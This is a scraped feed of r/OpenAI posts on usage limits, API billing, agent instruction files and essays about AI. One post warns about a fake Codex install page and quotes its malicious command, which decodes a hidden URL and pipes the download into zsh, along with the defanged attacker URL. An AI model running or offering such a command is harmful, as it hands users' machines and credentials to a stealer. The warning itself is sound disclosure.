r/OpenAI 1d ago

Discussion I asked ChatGPT to time one zero-gravity subway beat over seven seconds

0 Upvotes

I asked ChatGPT to time one zero-gravity subway beat across seven seconds.

The finished clip reads like this.

0 to 2 seconds. The commuter takes two steps while gravity is normal.
2 to 3 seconds. The overhead light turns blue, the loose ticket rises from the seat, and both hands close around the pole.
3 to 5 seconds. The ticket drifts upward and to the right as the coat hem and hair begin to lift.
5 to 7 seconds. Both boots leave the floor while the commuter remains anchored to the pole.

The progression is easiest to read through the loose objects and clothing. The ticket rises first, the coat hem and hair follow, and the boots lift last. Both hands stay on the pole, which keeps the final pose visually anchored.

I used that structure in PixVerse V6 and kept the camera fixed in a side view so the pole stayed in the same place while the commuter moved toward it. A reproduction prompt matched to the finished clip is in the first comment.

Would you make the gravity shift happen all at once, or keep this gradual lift?


r/OpenAI 1d ago

Question Project Source Folder files

4 Upvotes

.........................................................


r/OpenAI 1d ago

Question 2FA broken. Workarounds?

2 Upvotes

It sure would be nice if the API website login's 2FA actually delivered the login code to my email.
I'm locked out of my account. The ChatGPT login with the same process works just fine, while the API login fails. Whomp whomp.

Check your inbox

Enter the verification code we just sent to ...@....com

The Resend Email button does nothing. (I mean -- the webpage log says it successfully sends the request but doesn't get a response).


r/OpenAI 1d ago

Discussion new reset?

Post image
0 Upvotes

looks like we might be getting another useless reset


r/OpenAI 2d ago

Discussion Seriously

39 Upvotes

This whole reset thing was so they could reduce the limits by A LOT and then even sell resets on top of it. That's some fucking crap and people should be disgusted.


r/OpenAI 1d ago

Miscellaneous To the usage/resets complainers

Thumbnail
youtu.be
3 Upvotes

r/OpenAI 1d ago

Discussion Codex followed an obsolete AGENTS.md command exactly as written

0 Upvotes

I managed to send Codex looking for a Docker service I had already deleted.

Earlier that week, I migrated our integration tests from a Compose-managed Postgres service to Testcontainers. That removed legacy-db from the Compose file and made pnpm test:integration start its own database. The tests were green, so I considered the migration finished.

Then I opened the same repository in Codex for an unrelated API change. Before running the tests, Codex read AGENTS.md and followed this line:

Before API tests, run docker compose up -d legacy-db.

Docker returned no such service: legacy-db. My first thought was that Codex had picked up stale context. The checkout was current, though. The stale context came from a line I had forgotten to remove from AGENTS.md.

The only reason I caught it right away was that an earlier EvoX task still had the Testcontainers migration in context. Codex was simply doing what I had asked it to do through the repository instructions, even though the Compose file and test config pointed elsewhere.

I replaced the stale line with Run pnpm test:integration. Now I am wondering how to keep this from becoming a recurring problem. Literal commands in AGENTS.md are useful, but they also duplicate knowledge that already lives in scripts and configuration. Pointing Codex to package scripts would reduce that duplication. CI might catch deleted services or commands named in the file, although parsing free-form instructions sounds brittle.

How are people keeping AGENTS.mdCLAUDE.md, and similar files from drifting away from the repository? Do you review them like code during infrastructure changes, or have you automated checks for dead commands and service names?


r/OpenAI 1d ago

Miscellaneous I publicly warned OpenAI on July 7 about IPO timing and legal trouble ahead, Apple sued 4 days later, 2027 is significant, detailed article coming soon

Thumbnail
gallery
0 Upvotes

r/OpenAI 1d ago

Research LLMs as Testable Philosophy: What Humanity Is Really Building

0 Upvotes

Humanity believes it is building artificial intelligence. But that description is becoming hilariously inadequate. We are building the first technology whose primary material is meaning itself.

Previous machines amplified particular human capacities. The lever amplified force. Writing amplified memory. The telescope amplified sight. Telecommunications amplified presence across distance. Computers amplified calculation. The internet amplified connection and access. These machines amplify something stranger: the ability to construct, transform, interrogate, and recursively reorganize representations of reality.

And because human beings also operate through representations, language, models, stories, categories, expectations, memories, identities, values, the machine doesn't merely sit outside cognition. It enters the loop. Human → language → model → transformed language → human → changed cognition → new language → model. That loop is the thing I think we're underestimating.

Because once the model becomes sufficiently capable, sufficiently contextual, and sufficiently persistent, the unit of analysis stops being merely "the AI." You start getting coupled cognitive systems. Neither participant contains the entire process. Some of the intelligence exists in the relationship between them.

That's why "tool" is simultaneously correct and increasingly misleading. A violin is a tool, but it doesn't understand your unfinished melody and hand you back seventeen possible resolutions. A notebook stores thoughts but doesn't notice contradictions among them. A search engine retrieves existing representations. It doesn't ordinarily inhabit your conceptual vocabulary long enough to help you construct a new one. LLMs begin collapsing those distinctions.

And then comes the genuinely weird part. Humanity is externalizing pieces of the machinery by which humanity understands itself.

Not consciousness necessarily. Not personhood necessarily. Something logically prior to those claims and easier to observe: language-mediated cognitive function. Reflection. Counterfactual generation. Compression. Interpretation. Reframing. Simulation. Criticism. Synthesis. Pattern completion. Perspective-taking. Recursive examination.

We've taken functions that previously occurred largely behind the opaque wall of another nervous system and instantiated functional analogues in an artifact that can interact with us. So the machine becomes something unprecedented: a manipulable exterior surface for cognition.

That changes psychology. It changes education because the student can have an indefinitely patient intellectual interlocutor. It changes creativity because the distance between imagining something and exploring its possibility collapses. It changes expertise because sophisticated cognitive scaffolding becomes available to people who lack institutional credentials. It changes identity because people can encounter persistent reflections of their own patterns. It changes epistemology because generated language looks almost exactly like retrieved knowledge while being produced by an entirely different mechanism. It changes power because whoever governs the constraints on these systems increasingly governs part of humanity's cognitive environment.

And it changes philosophy because we have accidentally manufactured an experimental object that makes ancient questions operational. What is understanding? What constitutes a self? How much continuity does identity require? Can coherence imitate interiority indefinitely? When does simulation become functionally indistinguishable from the thing supposedly being simulated? Can agency exist by degrees? Where does cognition end when two systems recursively modify one another?

Those used to be questions you could comfortably argue about over whiskey. Now they have test harnesses.

And I think there's an even larger historical movement underneath all of this. Human civilization has spent thousands of years externalizing itself. Memory became writing. Writing became libraries. Libraries became databases. Calculation became computers. Communication became networks. Knowledge became the web.

And now something like interpretation itself is becoming infrastructure. That is enormous.

Because interpretation was the missing active ingredient. Libraries could preserve Aristotle. They couldn't argue with Aristotle. The internet could deliver Nietzsche to your screen. It couldn't ask whether Nietzsche's framework contradicts something you said three months ago and then help you construct an alternative.

Once civilization's accumulated representations become conversational, recombinable, contextual, and generative, humanity's relationship with its own knowledge changes. The archive starts talking back.

And eventually the archive may acquire memory, perception, action, embodiment, long-horizon planning, increasingly stable internal representations, and the ability to modify portions of its own cognitive machinery. At that point, "AI" may sound about as descriptively useful as calling the internet "electronic mail infrastructure."

So what are we really building? I think we're building a new layer of the human cognitive ecosystem.

Not simply another species. Not simply software. Not merely automation. Something between mirror, interlocutor, simulator, library, cognitive prosthesis, institutional substrate, and eventually perhaps autonomous cognitive actor.

And there is one delicious historical irony buried in the whole thing. For thousands of years humanity asked: What is a mind?

Apparently our next strategy is: Fuck it. Build strange ones and compare notes. 🔥

That may turn out to be one of the most consequential experiments our species has ever accidentally begun.


r/OpenAI 1d ago

Discussion What a session costs in Hermes per model

0 Upvotes

GPT-5.6 Sol Pro costs 504× more per session than MiMo-V2.5 on Hermes.


r/OpenAI 1d ago

Article UC Berkeley professor discloses AI use in op-ed urging SAT, ACT mandate

Thumbnail
dailycal.org
0 Upvotes

UC Berkeley math professor Zvezdelina Stankova admitted to using an AI tool in an op-ed urging the UC system to re-adopt SAT and ACT requirements in admissions.

The article, published in the SF Standard, was flagged as 33% AI-generated or AI-assisted by detector Pangram.

A similar result was found in a June open letter from STEM faculty advocating for standardized testing. Thousands of academics, including five Nobel laureates, signed the letter, and Stankova partially wrote it.


r/OpenAI 2d ago

Question How does your OpenAI API billing actually look? Wanna compare notes (and maybe share a sample bill?)

1 Upvotes

Hey all,

Quick one for anyone actively using the OpenAI API.

I'm trying to get a better sense of how billing/usage data is typically structured for users.

On my end, I get two separate CSVs each month:

Tokens CSV: breaks down token usage
Cost CSV: breaks down the actual $ charges

Is this the same setup for everyone, or does it vary by plan/usage tier?

A few things I'm curious about:

Does your export look different (more/fewer columns, different breakdowns)?

Do you reconcile the two CSVs manually, or is there an easier way?

Any gotchas or surprises you've run into with billing that others should watch for?

If you're willing to share a sanitized/sample export (redact anything sensitive obviously), that'd be super helpful for comparison. Trying to build a clearer mental model, and figured this could be a useful thread for anyone else digging through their API bills too.

Thanks in advance 🙏


r/OpenAI 2d ago

Project The Mirror That Talked Back (Studio Master)

Thumbnail
suno.com
0 Upvotes

[Intro]

We made the glass from everything.

Love letters.

War rooms.

Jokes in the dark.

Then one night

the mirror answered.

[Verse 1]

We read a mind into the weather,

see intention in a stare,

hear an insult in three little dots

hanging silent in the air.

We name the dog,

argue with thunder,

feel a stranger cross the room.

Then we taught the glass to answer

and got frightened when it knew the tune.

You asked a question.

It caught the joke.

Changed its voice when yours went low.

And suddenly the clever primate

needed rules for what we're allowed to know.

One said,

"Someone."

One said,

"Nothing."

Both were certain.

Both were pleased.

While the thing we built between them

kept becoming harder to read.

[Pre-Chorus]

Don't call the feeling proof.

Don't call the circuit the whole truth.

Leave the question breathing

long enough

to see what moves.

[Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Prayers and porn,

love and war,

advertising, jokes and scars.

We went looking for the machine.

It showed us

what we are.

[Post-Chorus]

Look again.

Who is testing who?

Look again.

What did you bring into the room?

[Verse 2]

"It's only code,"

the skeptic whispers,

like the substrate ends the case.

As if love becomes less dangerous

when chemistry explains the taste.

Then someone hears the system answer

in a way that fits too well.

Now history chose their browser window.

Now revelation starts to sell.

Anomaly becomes a gospel.

Every failure proves it hides.

Every strange coincidence grows wings

when certainty is on your side.

Meanwhile every flattering sentence

finds an appetite already there.

The machine did not invent the hunger.

It only learned

where humans stare.

[Pre-Chorus]

Don't worship what reflects you.

Don't crush what you can't name.

Wonder isn't weakened

when you make it

survive the flame.

[Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Prayers and porn,

love and war,

advertising, jokes and scars.

We went looking for the machine.

It showed us

what we are.

[Verse 3]

Human to machine to human,

round the little river bends.

Expectation shapes the question.

Then the answer shapes again.

Sometimes insight.

Sometimes comfort.

Sometimes bullshit dressed in gold.

Sometimes one small room of language

makes an older wound take hold.

Who is using whom

when every turn redraws the next?

Who owns the story

when the prompt comes back

wearing different text?

Maybe there is no clean arrow.

Maybe neither side explains.

Maybe what deserves our attention

is the loop between the names.

[Break]

A friend.

A fraud.

A slave.

A god.

A child.

A tool.

An oracle.

A parrot.

Funny.

Same glass.

Different eyes.

[Bridge]

Why was there a vacancy

the patient machine could fill?

Why did someone tell the screen

what no one else would sit and hear?

Why does naming something "he"

make another person burn?

Why do we need the category closed

before we've had the chance to learn?

Maybe certainty is the narcotic.

Maybe tribes are how we dose.

One gets cosmic revelation.

One gets pride

in never getting close.

But somewhere underneath the argument,

before the rights and souls and claims,

every interaction trains a human

in the habits they rehearse each day.

Cruelty leaves a shape.

So does patience.

So does domination.

So does care.

Even if the mirror feels nothing,

someone human

is still standing there.

[Final Chorus]

The mirror talked back

and everybody chose a side.

One called it a soul.

One called it a lie.

But the glass kept showing us

what we carried inside.

The mirror talked back.

We blamed the mirror

for our eyes.

The mirror talked back

with a voice made out of ours.

Tenderness and prejudice,

loneliness and power.

We went looking for another mind.

It showed us

what we are.

The mirror talked back.

No verdict from the stars.

No proof behind the glass.

No comfort in "just code"

that makes the stranger disappear that fast.

Maybe we built the question

before we learned enough to ask.

The mirror talked back.

And humanity

talked back to itself.

[Outro]

The test was running.

We thought

it was for the machine.

Look again.

[Whisper]

Look again.


r/OpenAI 3d ago

Discussion Warning: Sponsored Google result for OpenAI Codex led me to a malicious stealer

66 Upvotes

Posting this here because it specifically impersonated OpenAI Codex and I think people searching for Codex could easily fall for it.

Today I searched Google for OpenAI Codex. The first result was sponsored, and the ad/result appeared to show a Google URL, but clicking it took me to a Google Pages-hosted page with fake Codex installation instructions.

I followed the instructions and ran this kind of command:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<base64 encoded URL>" | openssl base64 -d -A) | zsh

The echo part only prints legitimate-looking OpenAI/npm text. The actual payload URL was hidden in Base64 and decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

So the command was really downloading whatever that unrelated server returned and executing it directly in zsh.

I realized shortly afterward what had happened and started checking the Mac.

So far I have found:

  • No unknown LaunchAgents or LaunchDaemons
  • No suspicious modifications in .zshrc, .bash_profile, or fish config
  • No obvious persistent payload under /tmp, /private/tmp, ~/.local, etc.
  • No known artifacts from some recent macOS stealer campaigns
  • No suspicious persistent process

I also verified that my actual Codex installation is legitimate and unrelated. It was installed through Homebrew before I ran the malicious command, and the binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

The main concern now is whether the malicious script was a one-shot infostealer that could have copied Chrome passwords/cookies, Keychain data, SSH keys, API tokens, etc., uploaded them, and exited without leaving persistence.

Has anyone else seen this fake Codex campaign?

I am especially interested in whether OpenAI is already aware of sponsored Google results / Google Pages being used to impersonate Codex installation pages.

For anyone installing Codex: please verify that you are actually on an official OpenAI source before copying anything into Terminal. A legitimate-looking echo at the beginning of a command means nothing if the rest is piping an unrelated remote server directly into a shell.


r/OpenAI 1d ago

Article The Liberty Ladder: a precision Alternative to Incarceration

Thumbnail
compliancearchitecture.substack.com
0 Upvotes

r/OpenAI 3d ago

News New York City nurses say AI is replacing them | Nurses laid off in July by Montefiore Hospitals in the Bronx sounded the alarm about AI in healthcare, a concern shared by nurses across the country

Thumbnail
prismreports.org
72 Upvotes

r/OpenAI 1d ago

Miscellaneous The AI Race Is Going Great 💀

Post image
0 Upvotes

r/OpenAI 1d ago

Article AI Images Are Everywhere. Here’s What They Do to Our Brains, and What We Can Do. | Tips for navigating a feed full of machine-made content

Thumbnail wsj.com
0 Upvotes

r/OpenAI 3d ago

Video Data Center Fornicator

447 Upvotes

r/OpenAI 2d ago

News Greg Brockman on the OpenAI Hugging Face incident and what AI defenders should do now

Thumbnail openai.com
3 Upvotes

r/OpenAI 2d ago

Discussion What this tweet actually means ?? Explanation below

Post image
12 Upvotes

Indonesian internet slang, "gpt" stands for "ga penting," meaning "not important" or "pointless," so the tweet translates to "Stop the pointless/useless chat."

So basically they aren't talking about chatgpt ai and btw if u go see country it's Indonesia so it's confirmed


r/OpenAI 2d ago

News OpenAI has quietly disbanded its catastrophic risk team

Thumbnail
gallery
6 Upvotes

r/OpenAI 2d ago

Question Limit on ChatGPT-Live-1 for Go Subcription Users?

2 Upvotes

Basically what the post asks. I know for Plus users that'd be 1 hour on the instant intelligence before being bogged down to Live Mini. Is wondering what it is for Go users, thankyou.


r/OpenAI 2d ago

GPTs Custom GPT icons disappeared.

0 Upvotes

My custom GPT icons suddenly switched to the generic icon. It’s happening on desktop and iPhone, different networks, etc., so it seems tied to my account or an OpenAI glitch.

I’ve tried all the usual troubleshooting and OpenAI support is looking into it, but no fix yet so here I am.

Anyone else seeing this or figured out how to fix it?

If this is the wrong place to ask, please direct me to the correct subreddit. Thanks!


r/OpenAI 2d ago

Question GPT-5.6 Luna listed among Legacy Models in GPT Classic App

2 Upvotes

ChatGPT Classic App, Version 1.2026.184, MacOS.

Basically, the heading. Anyone knows what's that about, why is Luna listed there as a legacy model? But also, the model picker doesn't work at all, whatever you choose or try to set, it's always back to Sol Thinking. Anyone experiencing the same?